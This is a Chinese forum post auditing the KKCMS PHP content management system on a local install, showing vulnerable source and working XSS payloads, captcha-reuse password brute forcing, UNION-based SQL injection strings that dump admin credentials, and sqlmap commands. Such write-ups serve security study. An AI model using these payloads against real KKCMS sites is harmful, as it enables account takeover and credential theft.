安全矩阵

 找回密码
 立即注册
搜索
查看: 887|回复: 0

记一次较为详细的某CMS代码审计

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-9-22 16:30:14 | 显示全部楼层 |阅读模式

记一次较为详细的某CMS代码审计
前言本次审计的话是Seay+昆仑镜进行漏洞扫描
Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。
昆仑镜官方地址


  1. https://github.com/LoRexxar/Kunlun-M
复制代码


环境KKCMS环境搭建KKCMS链接如下


  1. https://github.com/liumengxiang/kkcms
复制代码



安装的话正常步骤就好,即
  1. 1、解压至phpstudy目录下

  2. 2、访问install

  3. 3、新建kkcms数据库,然后在安装的时候用这个数据库

  4. 4、安装完成,开始审计
复制代码
目录结构
编辑
  1. <p>常见的目录结构,简单了解一下其作用</p>

  2. <pre>admin 后台管理目录
  3. css CSS样式表目录
  4. data 系统处理数据相关目录
  5. install 网页安装目录
  6. images 系统图片存放目录
  7. template 模板
  8. system  管理目录</pre>
复制代码


代码审计
编辑
对扫描出的开始进行审计
验证码重用admin/cms_login.php源码如下
  1. <?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
  14.     if(!! $row = mysql_fetch_array($result)){
  15.         setcookie('admin_name',$row['m_name']);
  16.         setcookie('admin_password',$row['m_password']);
  17.         header('location:cms_welcome.php');
  18.     }else{
  19.         alert_href('用户名或密码错误','cms_login.php');
  20.     }
  21. }
  22. ?>
复制代码



验证码的校验代码
  1. if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  2.         alert_href('验证码错误','cms_login.php');
  3.     }
复制代码


不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。
我们进入前端界面看一下
编辑
发现验证码js对应处存在文件,跟进查看一下
  1. <?php
  2. session_start();
  3. $image = imagecreate(50, 34);
  4. $bcolor = imagecolorallocate($image, 0, 0, 0);
  5. $fcolor = imagecolorallocate($image, 255, 255, 255);
  6. $str = '0123456789';
  7. $rand_str = '';
  8. for ($i = 0; $i < 4; $i++){
  9.     $k = mt_rand(1, strlen($str));
  10.     $rand_str .= $str[$k - 1];
  11. }
  12. $_SESSION['verifycode'] = $rand_str;
  13. imagefill($image, 0, 0, $bcolor);
  14. imagestring($image, 7, 7, 10, $rand_str, $fcolor);
  15. header('content-type:image/png');
  16. imagepng($image);
  17. ?>
复制代码


该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到
Burpsuite默认不解析js因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破
抓包后发送到instruct模块,在密码处添加变量
编辑
而后添加一些常用的弱口令密码
编辑
开始爆破
编辑
成功爆破出密码
XSSwap/shang.php使用昆仑镜进行扫描,得到结果
编辑
结合Seay,查看该文件代码
编辑
可以看到直接输出了$_GET['fee'],因此我们这里直接传入一个xss语句尝试触发xss
payload
  1. fee=<script>alert(1)</script>
复制代码


编辑
wap/seacher.php昆仑镜扫描
编辑
利用seay查看源码
//这只是一部分,具体的师傅们可自行查看此文件
  1. <?php include('../system/inc.php');
  2. include('../data/cxini.php');
  3. $link=$zwcx['zhanwai'];
  4. $q=$_POST['wd'];

  5. <!DOCTYPE html>
  6. <html>
  7. <head lang="en">
  8. <?php  include 'head.php';?>
  9. <title>搜索<?php echo $q?>-<?php echo $xtcms_seoname;?></title>
  10. <meta name="keywords" content="<?php echo $q?>,<?php echo $xtcms_keywords;?>">
  11. <meta name="description" content="<?php echo $xtcms_description;?>">
复制代码
可以发现这里这个变量$q直接被输出了,这个$q是POST上传的wd参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下
  1. wp=<script>alert(1)</script>
复制代码
编辑
成功触发XSS
wap/movie.php
  1. //部分源码
  2. <?php include('../system/inc.php');
  3. include '../system/list.php';
  4. $page=$_GET['page'];?>
  5. <!DOCTYPE html>
  6. <html>
  7. $b=(strpos($_GET['m'],'rank='));
  8. $ye=substr($_GET['m'],$b+5);
  9. ?>
  10. <a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
  11. <a  <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>        
  12. <a  <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
  13. </div>
  14. <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
  15. </ul>
  16. </div>
  17. </div>
  18. </section>
  19. <?php  include 'footer.php';?>
复制代码
存在可控参数$_GET['m']和$_GET['page'],开头引用了inc.php,试着找一下输出语句。
发现输出语句
  1. <?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
复制代码
发现被函数getPageHtml包裹了,跟进查看
  1. function getPageHtml($_var_60, $_var_61, $_var_62)
  2. {
  3.     $_var_63 = 5;
  4.     $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
  5.     $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
  6.     $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
  7.     $_var_64 = $_var_60 - floor($_var_63 / 2);
  8.     $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  9.     $_var_65 = $_var_60 + floor($_var_63 / 2);
  10.     $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
  11.     $_var_66 = $_var_65 - $_var_64 + 1;
  12.     if ($_var_66 < $_var_63 && $_var_64 > 1) {
  13.         $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  14.         $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  15.         $_var_66 = $_var_65 - $_var_64 + 1;
  16.     }
  17.     if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  18.         $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  19.         $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
  20.     }
  21.     if ($_var_60 > 1) {
  22.         $_var_67 .= '<li><a  title="上一页" href="' . $_var_62 . ($_var_60 - 1) . '"">上一页</a></li>';
  23.     }
  24.     for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
  25.         if ($_var_68 == $_var_60) {
  26.             $_var_67 .= '<li><a style="background:#FF9900;"><font color="#fff">' . $_var_68 . '</font></a></li>';
  27.         } else {
  28.             $_var_67 .= '<li><a href="' . $_var_62 . $_var_68 . '">' . $_var_68 . '</a></li>';
  29.         }
  30.     }
  31.     if ($_var_60 < $_var_65) {
  32.         $_var_67 .= '<li><a  title="下一页" href="' . $_var_62 . ($_var_60 + 1) . '"">下一页</a></li>';
  33.     }
  34.     return $_var_67;
  35. }
复制代码
跟进查看后也没有发现输出点,结果网页端js代码再看看
传参
  1. http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111
复制代码
查看源代码,Ctrl+f搜?m=111查找对应js代码

找到js代码
  1. <li><a href="movie.php?m=111&page=4">4</a></li><li><a href="movie.php?m=111&page=5">5</a></li><li><a  title="下一页" href="movie.php?m=111&page=2"">下一页</a></li></ul>
复制代码
尝试直接闭合a标签执行xss语句,构造payload如下
  1. ?m="><script>alert(111)</script>
复制代码

成功触发xss
同类XSS文件如下
  1. wap/tv.php
复制代码
其对应输出代码如下
  1. <?php echo getPageHtml($page,$fenye,'tv.php?m='.$yourneed.'&page=');?>
复制代码
wap/zongyi.php其对应输出代码如下
  1. <?php echo getPageHtml($page,$fenye,'zongyi.php?m='.$yourneed.'&page=');?>
复制代码
wap/dongman.php其对应输出代码如下
  1. <?php echo getPageHtml($page,$fenye,'dongman.php?m='.$yourneed.'&page=');?>
复制代码
system/pcon.php(失败)
发现这里有个echo 变量的,利用Seay跟进一下这个文件
  1. <?php
  2. if ($xtcms_pc==1){
  3. ?>

  4. <script>
  5. function uaredirect(f){try{if(document.getElementById("bdmark")!=null){return}var b=false;if(arguments[1]){var e=window.location.host;var a=window.location.href;if(isSubdomain(arguments[1],e)==1){f=f+"/#m/"+a;b=true}else{if(isSubdomain(arguments[1],e)==2){f=f+"/#m/"+a;b=true}else{f=a;b=false}}}else{b=true}if(b){var c=window.location.hash;if(!c.match("fromapp")){if((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){location.replace(f)}}}}catch(d){}}function isSubdomain(c,d){this.getdomain=function(f){var e=f.indexOf("://");if(e>0){var h=f.substr(e+3)}else{var h=f}var g=/^www\./;if(g.test(h)){h=h.substr(4)}return h};if(c==d){return 1}else{var c=this.getdomain(c);var b=this.getdomain(d);if(c==b){return 1}else{c=c.replace(".","\\.");var a=new RegExp("\\."+c+"$");if(b.match(a)){return 2}else{return 0}}}};
  6. </script>
  7. <?php
  8. if ($_GET['play']!=""){
  9. $cc="play.php?play=";
  10. $dd="bplay.php?play=";
  11. $yugao=explode('.html',$_GET['play']);
  12. for($k=0;$k<count($yugao);$k++){
  13. if ($k>0){
  14. $tiaourl=$cc.$_GET['play'];
  15.         }
  16. else{
  17. $tiaourl=$dd.$_GET['play'];
  18.         }
  19. }
  20. }
  21. ?>
  22. <script type="text/javascript">uaredirect("<?php echo $xtcms_domain;?>wap/<?php echo $tiaourl;?>");</script>
  23. <?php    } ?>
复制代码
此时发现可控变量play,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句
  1. if ($xtcms_pc==1){
复制代码


它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后

这里的话也就是说,我们只有满足了$xtcms_pc==1这个条件,才能够成功的往下执行,进而利用play参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc变量,全局搜索一下

发现变量赋值点,跟进查看

简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G
admin/cms_ad.php登录后台后发现有个广告管理界面

发现这里可以设置名称和广告内容,尝试在名称处插入xss语句

发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/ad.php');
  6. ?>
  7. <?php include('inc_header.php') ?>
  8. <div class="tab-pane1">
  9. <div class="row">
  10. <div class="col-sm-12">
  11. <div class="form-group has-feedback">
  12. <label for="name-w1">名称</label>
  13. <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
  14. <span class="help-block">请输入广告名称</span>
  15. </div>
  16. </div>
  17. </div>
  18. <div class="row">
  19. <div class="col-sm-12">
  20. <div class="form-group">
  21. <label for="ccnumber-w1">内容</label>
  22. <textarea id="l_picture" class="form-control" name="pic" /></textarea>
  23. <span class="help-block">请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a></span>
  24. </div>
  25. </div>
  26. </div>
  27. <div class="row">
  28. <div class="form-group col-sm-12">
  29. <label for="ccmonth-w1">广告位置</label>
  30. <select id="catid" class="form-control" name="catid">
  31. <?php
  32. $result = mysql_query('select * from xtcms_adclass');
  33. while($row1 = mysql_fetch_array($result)){
  34. ?>
  35. <option value="<?php echo $row1['id']?>"><?php echo $row1['name']?></option>
  36. <?php
  37. }
  38. ?>
复制代码


后端名称处代码为
  1. <input id="l_name" class="form-control" name="title" type="text" size="60" data-validate="required:请填写广告名称" value="" />
复制代码


可以发现这里只是限制了长度为60,其他没有什么限制,输出广告内容的代码是
  1. $result = mysql_query('select * from xtcms_ad order by id desc');
  2. while($row = mysql_fetch_array($result)){
  3. ?><tr>
  4. <td><?php echo $row['id']?></td>
  5. <td><?php echo $row['title']?></td>
复制代码
这里的话是取出结果,然后将结果赋值给$row,最后输出了$row['id']和$row['name'],正如同所说的一样,不存在过滤点,因而导致了XSS的出现
而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img来构造一个xss恶意语句

此时随便访问首页的一个视频

成功触发XSS
youlian.php
  1. <?php
  2. include('system/inc.php');
  3. if(isset($_POST['submit'])){
  4. null_back('admin','.');
  5.     null_back($_POST['content'],'你的链接及网站名');
  6.     $data['userid'] = $_POST['userid'];
  7.     $data['content'] =addslashes($_POST['content']);
  8.     $data['time'] =date('y-m-d h:i:s',time());

  9.     $str = arrtoinsert($data);
  10.         $sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
复制代码
设置了addslashes函数防止SQL注入,但并未防止XSS,我们构造payload如下
  1. <a href=Javascript:alert(1)>xss</a>
复制代码



后端查看就会发现

XSS被触发
admin/cms_kamilist.php
  1. //部分源码
  2. <?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);

  6. ?>
  7. <?php include('inc_header.php') ?>
  8. <select class="form-control" onchange="location.href='cms_kamilist.php?c_used='+this.options[this.selectedIndex].value;">
  9. <option value="">使用情况</option>
  10. <option value="1" >已使用</option> <option value="0">未使用</option>                      </select>
  11. <input id="c_pass" class="form-control" type="text" name="c_number" placeholder="卡密"/>
  12. <input id="id" class="input" type="hidden" name="id" value="<?php echo $_GET["id"] ?>"/>
  13. <input type="submit" id="search" class="btn btn-info" name="search" value="查找" />
  14. <a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
  15. </div>
复制代码


关注
  1. value="<?php echo $_GET["id"] ?>"
复制代码


发现这里参数id没有什么防护,虽然开头涉及了inc.php,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload
  1. id="><script>alert(1)</script>
复制代码


//此时的语句就是 value="<?php echo "><script>alert(1)</script> ?>"结果如下

wx_api.php
  1. class wechatCallbackapiTest
  2. {
  3.     public function valid()
  4.     {
  5.         $echoStr = $_GET["echostr"];
  6.         if($this->checkSignature()){
  7.             echo $echoStr;
  8.             exit;
  9.         }
  10.     }
复制代码


可以发现这里的参$_GET['echostr']不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature函数查看一下
  1. private function checkSignature()
  2.     {
  3.         // you must define TOKEN by yourself
  4.         if (!defined("TOKEN")) {
  5.             throw new Exception('TOKEN is not defined!');
  6.         }

  7.         $signature = $_GET["signature"];
  8.         $timestamp = $_GET["timestamp"];
  9.         $nonce = $_GET["nonce"];

  10.         $token = TOKEN;
  11.         $tmpArr = array($token, $timestamp, $nonce);
  12.         // use SORT_STRING rule
  13.         sort($tmpArr, SORT_STRING);
  14.         $tmpStr = implode( $tmpArr );
  15.         $tmpStr = sha1( $tmpStr );

  16.         if( $tmpStr == $signature ){
  17.             return true;
  18.         }else{
  19.             return false;
  20.         }
  21.     }
复制代码


发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss
payload
  1. ?echostr=<script>alert('别当舔狗')</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
复制代码



SQLbplay.php
  1. <?php
  2. include('system/inc.php');//载入全局配置文件
  3. error_reporting(0);//关闭错误报告
  4. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
  5. if (!!$row = mysql_fetch_array($result)) {
  6.     $d_id = $row['d_id'];
  7.     $d_name = $row['d_name'];
  8.     $d_jifen = $row['d_jifen'];
  9.     $d_user = $row['d_user'];
  10.     $d_parent = $row['d_parent'];
  11.     $d_picture = $row['d_picture'];
  12.     $d_content = $row['d_content'];
  13.     $d_scontent = $row['d_scontent'];
  14.     $d_seoname = $row['d_seoname'];
  15.     $d_keywords = $row['d_keywords'];
  16.     $d_description = $row['d_description'];
  17.     $d_player = $row['d_player'];
  18.     $d_title = ($d_seoname == '') ? $d_name .' - '.$xtcms_name : $d_seoname.' - '.$d_name.' - '.$xtcms_name ;
  19. } else {
  20.     die ('您访问的详情不存在');
  21. }
  22. $result1 = mysql_query('select * from xtcms_vod_class where c_id='.$d_parent.' order by c_id asc');
  23. while ($row1 = mysql_fetch_array($result1)){
  24. $c_hide=$row1['c_hide'];
  25. }
  26. if($c_hide>0){
  27. if(!isset($_SESSION['user_name'])){
  28.         alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  29.     };
  30.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  31.      if($row = mysql_fetch_array($result)){
  32.      $u_group=$row['u_group'];//到期时间
  33.      }
  34. if($u_group<=1){//如果会员组
  35. alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');
  36. }
  37. }
  38. include('system/shoufei.php');
  39. if($d_jifen>0){//积分大于0,普通会员收费
  40.     if(!isset($_SESSION['user_name'])){
  41.         alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  42.     };
  43.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  44.      if($row = mysql_fetch_array($result)){
  45.      $u_points=$row['u_points'];//会员积分
  46.      $u_plays=$row['u_plays'];//会员观看记录
  47.      $u_end=$row['u_end'];//到期时间
  48.      $u_group=$row['u_group'];//到期时间
  49.      }  

  50.          if($u_group<=1){//如果会员组
  51.      if($d_jifen>$u_points){
  52.      alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
  53.     }  else{

  54.     if (strpos(",".$u_plays,$d_id) > 0){

  55.     }   
  56.     //有观看记录不扣点
  57. else{

  58.    $uplays = ",".$u_plays.$d_id;
  59.    $uplays = str_replace(",,",",",$uplays);
  60.    $_data['u_points'] =$u_points-$d_jifen;
  61.    $_data['u_plays'] =$uplays;
  62.    $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
  63. if (mysql_query($sql)) {

  64. alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
  65. }
  66. }

  67. }
  68. }
  69. }
  70. if($d_user>0){  
  71. if(!isset($_SESSION['user_name'])){
  72.         alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
  73.     };
  74.     $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
  75.      if($row = mysql_fetch_array($result)){
  76.      $u_points=$row['u_points'];//会员积分
  77.      $u_plays=$row['u_plays'];//会员观看记录
  78.      $u_end=$row['u_end'];//到期时间
  79.      $u_group=$row['u_group'];//到期时间
  80.      }      
  81. if($u_group<$d_user){
  82.     alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
  83. }
  84. }
  85. function get_play($t0){
  86.     $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
  87.     if (!!$row = mysql_fetch_array($result)){
  88. return $row['n_url'];
  89.     }else{
  90.         return $t0;
  91.     };
  92. }
  93. $result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
  94.     if (!!$row = mysql_fetch_array($result)){
  95. $d_scontent=explode("\r\n",$row['d_scontent']);
  96. //print_r($d_scontent);
  97. for($i=0;$i<count($d_scontent);$i++)
  98. {   $d_scontent[$i]=explode('

  99. 这里的话可以看出主要的SQL语句是这句话
  100. [code]$result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
复制代码


然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件

跟进这个library.php
  1. <?php
  2. //展示的只是一部分
  3. if (!defined('PCFINAL')) {
  4.     exit('Request Error!');
  5. }
  6. if (!get_magic_quotes_gpc()) {
  7.     if (!empty($_GET)) {
  8.         $_GET = addslashes_deep($_GET);
  9.     }
  10.     if (!empty($_POST)) {
  11.         $_POST = addslashes_deep($_POST);
  12.     }
  13.     $_COOKIE = addslashes_deep($_COOKIE);
  14.     $_REQUEST = addslashes_deep($_REQUEST);
  15. }
复制代码


可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示
play=1 order by 17  //回显正常play=1 order by 18  //回显错误

这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位
play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下
  1. //查库
  2. play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
  3. //查表
  4. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
  5. //查列
  6. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
  7. //查字段
  8. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
复制代码





wap/user.php(失败)
结合Seay
  1. <?php include('../system/inc.php');
  2. error_reporting(0);
  3. $op=$_GET['op'];
  4. if(!isset($_SESSION['user_name'])){
  5.         alert_href('请登陆后进入','login.php?op=login');
  6.     };
  7.     //退出
  8. if ($op == 'out'){  
  9. unset($_SESSION['user_name']);
  10. unset($_SESSION['user_group']);
  11. if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
  12.     {  
  13.         setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
  14.         setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
  15.     }  
  16. header('location:login.php?op=login');
  17. }
  18. //支付
  19. if ( isset($_POST['paysave']) ) {
  20. if ($_POST['pay']==1){

  21. //判定会员组别
  22. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  23. if($row = mysql_fetch_array($result)){

  24. $u_points=$row['u_points'];
  25. $u_group=$row['u_group'];
  26. $send = $row['u_end'];

  27. //获取会员卡信息
  28. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
  29. if($row2 = mysql_fetch_array($card)){
  30. $day=$row2['day'];//天数
  31. $userid=$row2['userid'];//会员组
  32. $jifen=$row2['jifen'];//积分
  33. }
  34. //判定会员组
  35. if ($row['u_group']>$userid){
  36. alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
  37. }
复制代码


看这一处代码
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码


不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示
wap/login.php
扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码
//展示的仅为一部分
  1. <?php include('../system/inc.php');
  2. $op=$_GET['op'];

  3. if(isset($_POST['submit'])){
  4.     null_back($_POST['u_name'],'请输入用户名');
  5.     null_back($_POST['u_password'],'请输入密码');
  6.     $u_name = $_POST['u_name'];
  7.     $u_password = $_POST['u_password'];
  8.     $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  9.     $result = mysql_query($sql);
  10.     if(!! $row = mysql_fetch_array($result)){

  11.     $_data['u_loginnum'] = $row['u_loginnum']+1;
  12.     $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
  13.     $_data['u_logintime'] =date('y-m-d h:i:s',time());
  14.     if(!empty($row['u_end'])) $u_end= $row['u_end'];
  15.     if(time()>$u_end){
  16.     $_data['u_flag'] =="0";
  17.     $_data['u_start'] =="";
  18.     $_data['u_end'] =="";
  19.     $_data['u_group'] =1;
  20.     }else{
  21.     $_data['u_flag'] ==$row["u_flag"];
  22.     $_data['u_start'] ==$row["u_start"];
  23.     $_data['u_end'] ==$row["u_end"];
  24.     $_data['u_group'] =$row["u_group"];
  25.     }
  26.     mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
  27.     $_SESSION['user_name']=$row['u_name'];
  28.     $_SESSION['user_group']=$row['u_group'];
  29.     if($_POST['brand1']){
  30. setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
  31. setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
  32. }
  33.         header('location:user.php');
  34.     }else{
  35.         alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
  36.     }
  37. }
  38. if(isset($_POST['reg'])){
  39. $username = stripslashes(trim($_POST['name']));
  40. // 检测用户名是否存在
  41. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  42. if(mysql_fetch_array($query)){
  43. echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
  44. exit;
  45. }
  46. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  47. if(mysql_fetch_array($result)){
  48. echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
  49. exit;
  50. }
  51. $password = md5(trim($_POST['password']));
  52. $email = trim($_POST['email']);
  53. $regtime = time();
  54. $token = md5($username.$password.$regtime); //创建用于激活识别码
  55. $token_exptime = time()+60*60*24;//过期时间为24小时后
  56. $data['u_name'] = $username;
  57. $data['u_password'] =$password;
  58. $data['u_email'] = $email;
  59. $data['u_regtime'] =$regtime;
  60. if($xtcms_mail==1){
  61. $data['u_status'] =0;
  62.     }else{
  63. $data['u_status'] =1;
  64.     }
  65. $data['u_group'] =1;
  66. $data['u_fav'] =0;
  67. $data['u_plays'] =0;
  68. $data['u_downs'] =0;
  69. //推广注册
  70. if (isset($_GET['tg'])) {
  71.     $data['u_qid'] =$_GET['tg'];
  72.     $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
  73. if($row = mysql_fetch_array($result)){

  74. $u_points=$row['u_points'];
  75. }
复制代码


不难发现这里的SELECT语句有以下几个
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  2. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  3. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  4. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
复制代码


但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'、"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码
它这个不难发现,$u_name和$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

然后将内容复制到一个txt文件中

我这里保存在sqlmap目录下

而后打开sqlmap,输入如下payload即可
  1. python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
复制代码



可以看到存在延时注入,成功爆破出数据库
vlist.php在这个界面,用单引号测试一下发现跟正常界面有所不同

看一下后端代码
  1. <?php
  2. if ($_GET['cid'] != 0){
  3.     ?>

  4.                                               <?php
  5. $result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
  6. while ($row = mysql_fetch_array($result)){

  7.             echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
  8.         }
  9. ?>
复制代码


这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下
  1. <pre>python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
  2. </pre>
复制代码



后端文件
扫出多个后端文件存在SQL注入,接下来逐一进行检测
admin/cms_admin_edit.php源码如下
//部分代码
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/admin_edit.php');
  6. ?>
  7. <?php
  8. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
  9. if($row = mysql_fetch_array($result)){
  10. ?>
复制代码


这里的话重点关注肯定是SQL语句,也就是这句话
  1. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
复制代码


